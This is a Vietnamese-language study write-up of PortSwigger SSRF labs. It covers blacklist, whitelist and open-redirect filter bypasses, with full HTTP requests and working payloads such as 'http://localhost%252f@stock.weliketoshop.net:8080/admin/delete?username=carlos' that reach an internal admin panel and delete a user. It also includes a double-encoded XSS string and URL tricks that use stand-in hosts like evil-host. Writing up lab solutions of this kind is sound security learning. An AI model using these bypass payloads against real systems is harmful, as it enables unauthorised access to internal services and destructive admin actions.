SSRF with Blacklist-based Input Filters
Một số ứng dụng có thể block các input có chứa các hostname chẳng hạn như 127.0.0.1
và localhost
hoặc các endpoint nhạy cảm chẳng hạn như /admin
. Trong trường hợp này, ta có thể vượt qua bằng cách sử dụng các kỹ thuật sau:
- Sử dụng một dạng biểu diển IP khác của
127.0.0.1
chẳng hạn như2130706433
,017700000001
hoặc127.1
. - Đăng ký một tên miền mà phân giải thành
127.0.0.1
. - Làm rối các chuỗi bị chặn bằng cách sử dụng URL encode hoặc sử dụng các chữ in hoa và in thường lẫn lộn.
- Cung cấp một URL mà ta kiểm soát và có thể chuyển hướng về URL mục tiêu. Sử dụng những redirect code cũng như là các protocol khác nhau. Ví dụ, việc chuyển từ
https:
thànhhttp:
trong quá trình redirect có thể giúp bypass một số anti-SSRF filter.
Lab: SSRF with Blacklist-based Input Filter
Mô tả lab:
- Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
- Mục tiêu là truy cập giao diện admin tại
http://localhost/admin
để xóa người dùngcarlos
. - Lập trình viên có sử dụng hai cách phòng chống SSRF yếu mà ta cần bypass.
Request kiểm tra tồn kho có dạng như sau:
POST /product/stock HTTP/2
Host: 0a5c005104c8081e85678f28003400d2.web-security-academy.net
Cookie: session=EmuFDNs55ngVMs6istalZN8Lxms56KMJ
Content-Length: 107
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a5c005104c8081e85678f28003400d2.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5c005104c8081e85678f28003400d2.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
Thử thay thành giá trị của stockApi
thành http://127.1
thì nhận được response là trang chủ (endpoint /
). Sau đó, dùng endpoint là /Admin
thay vì /admin
thì thu được trang giao diện của admin và có đoạn code như sau;
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>
Thay URL thành http://127.1/Admin/delete?username=carlos
để xóa người dùng carlos
.
SSRF with Whitelist-based Input Filters
Một số ứng dụng sử dụng whitelist bao gồm các giá trị được phép tồn tại trong input (có thể ở đầu hoặc ở giữa) và filter tất cả các giá trị khác. Chúng ta có thể bypass filter này bằng cách khai thác tính không nhất quán trong việc phân tách URL giữa các thành phần trong ứng dụng.
Các ví dụ:
-
Khi sử dụng HTTP basic authentication, credentials có thể được nhúng vào URL trước host name1 bằng cách sử dụng ký tự
@
. Cú pháp:[ userinfo "@" ] host [ ":" port ]
. Ví dụ:https://expected-host:fakepassword@evil-host
-
Sử dụng ký tự
#
để chỉ định URL fragment:https://evil-host#expected-host
-
Sử dụng expected hostname như là subdomain của một domain mà ta kiểm soát:
https://expected-host.evil-host
-
Thực hiện URL-encode các ký tự để gây bối rối cho các đoạn code parse URL. Cách làm này là hữu ích nếu đoạn code triển khai filter xử lý các ký tự được URL encode khác với đoạn code thực hiện gửi back-end request. Thậm chí, ta cũng có thể URL-encode hai lần vì một số WAF chỉ URL-decode một lần2. Ví dụ, xét URL sau:
[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
URL trên khi được encode một lần nữa sẽ là:
[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
-
Sử dụng kết hợp các kỹ thuật trên.
Lab: SSRF with Whitelist-based Input Filter
Mô tả lab:
- Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
- Mục tiêu là truy cập giao diện admin tại
http://localhost/admin
để xóa người dùngcarlos
. - Lập trình viên có sử dụng một cách phòng chống SSRF mà ta cần bypass.
Request kiểm tra tồn kho có dạng như sau:
POST /product/stock HTTP/2
Host: 0a1b003303e6a2d181603942008b0087.web-security-academy.net
Cookie: session=75icMcnOfv4Y6ifMup2oVzfvYoTFiEuf
Content-Length: 107
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a1b003303e6a2d181603942008b0087.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1b003303e6a2d181603942008b0087.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
Thử với 127.1
thì nhận được response sau:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
"External stock check host must be stock.weliketoshop.net"
Thử thêm localhost@
vào trước hostname stock.weliketoshop.net
, URL trở thành:
stockApi=http://localhost@stock.weliketoshop.net:8080?productId=1&storeId=1
Lúc này, localhost
đóng vai trò là username gửi đến stock.weliketoshop.net
.
Response có status code là 200.
Ta giả sử phần code filter URL xem localhost
là username nhưng phần code gửi request cho back-end lại xem localhost
là hostname. Thử thêm endpoint /
:
stockApi=http://localhost/@stock.weliketoshop.net:8080?productId=1&storeId=1
Dạng URL encode:
stockApi=http%3a%2f%2flocalhost%2f%40stock.weliketoshop.net%3a8080%3fproductId%3d1%26storeId
Response nhận được là:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
"External stock check host must be stock.weliketoshop.net"
Thử double encode ký tự /
(thay %
thành %25
):
stockApi=http%3a%2f%2flocalhost%252f%40stock.weliketoshop.net%3a8080%3fproductId%3d1%26storeId&storeId
Response nhận được có status code là 200 và là trang sản phẩm (endpoint /
). Ngoài ra, trang này có một đoạn code như sau:
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/admin">Admin panel</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
Có thể thấy, đã xuất hiện trang admin.
Thử dùng endpoint là /admin
(vẫn double encode ký tự /
):
stockApi=http://localhost/admin@stock.weliketoshop.net:8080?productId=1&storeId=1
Response không có sự thay đổi so với endpoint /
.
Hint
Đáp án không sử dụng path ở phần username mà sử dụng path ở sau phần hostname.
Chuyển endpoint /admin
về sau phần hostname và xóa các query param không cần thiết:
stockApi=http://localhost/@stock.weliketoshop.net:8080/admin
Response thu được có đoạn code sau:
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>
Payload dùng để xóa người dùng carlos
:
stockApi=http://localhost/@stock.weliketoshop.net:8080/admin/delete?username=carlos
Bypassing SSRF Filters via Open Redirection
Nếu có một API nào đó hỗ trợ cơ chế chuyển hướng mở (open redirect), attacker có thể chuyển hướng đến một địa chỉ tùy ý thông qua API được dùng để gửi request đến backend.
Ví dụ, URL sau sẽ chuyển hướng tới http://evil-user.net
:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
Cụ thể, attacker có thể tận dụng điều này để bypass URL filter và khai thác SSRF:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
Lab: SSRF with Filter Bypass via Open Redirection Vulnerability
Mô tả lab:
- Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
- Mục tiêu là truy cập giao diện admin tại
http://192.168.0.12:8080/admin
để xóa người dùngcarlos
.
Request kiểm tra tồn kho không có query param chứa URL:
POST /product/stock HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Content-Length: 65
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0afe003f040cc6458185768b00c60097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
stockApi=/product/stock/check?productId=1&storeId=1
Request chuyển sang sản phẩm kế tiếp có query param path
có thể chứa URL:
GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/2
Host: 0a0e006104f82c3f819cda1b009100ec.web-security-academy.net
Cookie: session=QHyEasXvLnPZDlD5Ig8hQifF57P1mksg; session=HL6PlpC4ey0XVZtwtDjQnXxp3xZ3r7K8
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0e006104f82c3f819cda1b009100ec.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Tuy nhiên, nếu sử dụng giá trị của path
là http://192.168.0.12:8080/admin
:
GET /product/nextProduct?productId=1&path=http://192.168.0.12:8080/admin HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product/nextProduct?productId=1&path=%2fproduct%2fnextProduct%3fproductId%3d1%26path%3d%2fhttp%3a%2f%2f127.1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Thì response có dạng như sau:
HTTP/2 302 Found
Location: http://192.168.0.12:8080/admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Response này sẽ redirect đến địa chỉ IP nội bộ của chúng ta thay vì địa chỉ nội bộ của ứng dụng:
GET /admin HTTP/1.1
Host: 192.168.0.12:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Như vậy, endpoint /product/nextProduct
không được dùng để tấn công.
Hint
Đáp án khai thác param
stockApi
ở request kiểm tra tồn kho (đề bài cũng đã đề cập là lỗ hổng tồn tại ở chức năng kiểm tra tồn kho 🤦♀️).
Ta sẽ lợi dụng tính năng redirect của endpoint /product/nextProduct
để redirect đến địa chỉ mong muốn thông qua param stockApi
. Cụ thể, thay giá trị của stockApi
thành /product/nextProduct?productId=1&path=http://192.168.0.12:8080/admin
:
POST /product/stock HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Content-Length: 90
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0afe003f040cc6458185768b00c60097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
Response có đoạn code như sau:
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/http://192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/http://192.168.0.12:8080/admin/delete?username=carlos">Delete</a>
</div>
</section>
Chỉnh sủa giá trị của stockApi
để xóa người dùng carlos
:
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
Related
list
from outgoing([[Port Swigger - Circumventing Common SSRF Defenses]])
sort file.ctime asc